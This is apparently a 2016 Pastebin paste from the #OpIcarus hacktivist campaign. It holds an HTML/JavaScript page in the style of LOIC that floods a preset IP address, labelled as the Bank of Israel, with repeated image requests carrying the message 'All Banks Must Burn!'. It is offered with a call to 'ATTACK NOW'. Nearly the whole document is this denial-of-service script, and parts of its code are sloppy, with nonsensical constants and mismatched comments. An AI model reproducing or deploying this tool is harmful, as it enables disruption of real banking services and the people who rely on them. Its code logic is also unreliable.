Advertisement
JuanDeLemos

BANK OF ISRAEL

Mar 20th, 2016
3,737
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.77 KB | None | 0 0
  1. #OpIcarus #OpShutDownTheGov
  2. !!! FUCK THE BANKERS !!!
  3.  
  4. BANK OF ISRAEL SCRIPT PLEASE SAFE THIS AS ALL AND (example.html) Thanks !
  5.  
  6. ATTACK NOW
  7.  
  8. <html>
  9. <head>
  10. <title>DIGITAL ANARCHY</title>
  11.  
  12. </head>
  13. <center><h1>OPICARUS - SHOULD HAVE EXPECTED US</h1></center>
  14. <body style="background-color:black; color:#FFFFFF;">
  15. <div style="position:absolute; width:100%; height:100%;">
  16.  
  17. <div style="width:520px; height:800px; position:absolute;">
  18. <img alt="LOIC"src="http://i66.tinypic.com/2eulipu.jpg" />
  19. </div>
  20.  
  21. <div style="width:240px; height:100px; position:absolute;left:500px;">
  22. <fieldset style="width:100%; height:100%;">
  23. <legend>Step 1. Select your target:</legend>
  24. <label>URL: <br /> <input id="targetURL" style="width:100%;" value="147.237.76.101" /></label> <!-- disabled="true" -->
  25.  
  26.  
  27. </fieldset>
  28. </div>
  29. <div style="width:240px; height:100px; position:absolute; left:780px;">
  30. <fieldset style="width:100%; height:100%;">
  31. <legend>Step 2. Ready?</legend>
  32.  
  33. <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  34.  
  35. </fieldset>
  36. </div>
  37.  
  38. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  39. <fieldset style="width:100%; height:100%;">
  40. <legend>Optional. Options</legend>
  41. <label>Requests per second : <input style="width:40px;" id="rps" value="999999999999999" /></label><br />
  42.  
  43. <label>Append message : <br /><input style="width:100%;" id="message" value="All Banks Must Burn!" /></label>
  44.  
  45. </fieldset>
  46. </div>
  47.  
  48. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  49. <fieldset style="width:100%; height:100%;">
  50. <legend>Attack status:</legend>
  51. <dl>
  52. <dt>Requested:</dt>
  53. <dd id="requestedCtr">0</dd>
  54.  
  55. <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  56. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  57. <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  58. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  59. </dl>
  60. </fieldset>
  61. </div>
  62.  
  63. </div>
  64. <script>
  65. (function () {
  66. var fireInterval;
  67. var isFiring = true;
  68. var requestedCtrNode = document.getElementById("requestedCtr"),
  69. succeededCtrNode = document.getElementById("succeededCtr"),
  70. failedCtrNode = document.getElementById("failedCtr"),
  71. targetURLNode = document.getElementById("targetURL"),
  72. fireButton = document.getElementById("fireButton"),
  73. messageNode = document.getElementById("message"),
  74. rpsNode = document.getElementById("rps"),
  75. timeoutNode = document.getElementById("timeout");
  76. var targetURL = targetURLNode.value;
  77. targetURLNode.onchange = function () {
  78. targetURL = this.value;
  79. };
  80. var requestsHT = {}; // requests hash table, may come in handy later
  81. var requestedCtr = 0,
  82. succeededCtr = 0,
  83. failedCtr = 0;
  84. var makeHttpRequest = function () {
  85. if (requestedCtr > failedCtr + succeededCtr + 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) { //Allow no more than 1000 hung requests
  86. return;
  87. };
  88.  
  89. var rID =Number(new Date());
  90. var img = new Image();
  91. img.onerror = function () { onFail(rID); };
  92. img.onabort = function () { onFail(rID); };
  93. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  94.  
  95. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  96. requestsHT[rID] = img;
  97. onRequest(rID);
  98. };
  99.  
  100. var onRequest = function (rID) {
  101. requestedCtr++;
  102. requestedCtrNode.innerHTML = requestedCtr;
  103. };
  104.  
  105. var onComplete = function (rID) {
  106. delete requestsHT[rID];
  107. };
  108.  
  109. var onFail = function (rID) {
  110. // failedCtr++;
  111. //failedCtrNode.innerHTML = failedCtr;
  112.  
  113. succeededCtr++; //Seems like the url will always fail it it isn't an image
  114. succeededCtrNode.innerHTML = succeededCtr;
  115. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  116. };
  117.  
  118. var onSuccess = function (rID) {
  119. succeededCtr++;
  120. succeededCtrNode.innerHTML = succeededCtr;
  121. delete requestsHT[rID];
  122. };
  123.  
  124. fireButton.onclick = function () {
  125. if (isFiring) {
  126. clearInterval(fireInterval);
  127. isFiring = false;
  128. this.innerHTML = "START";
  129. } else {
  130. isFiring = true;
  131. this.innerHTML = "Stop flooding";
  132.  
  133. fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));
  134. }
  135. };
  136.  
  137. })();
  138.  
  139. isFiring = false;
  140. document.getElementById("fireButton").innerHTML = "Stop flooding";
  141. fireInterval = setInterval(makeHttpRequest, (9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 / parseInt(document.getElementById("rps").value) | 0));
  142. </script>
  143. </body>
  144. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement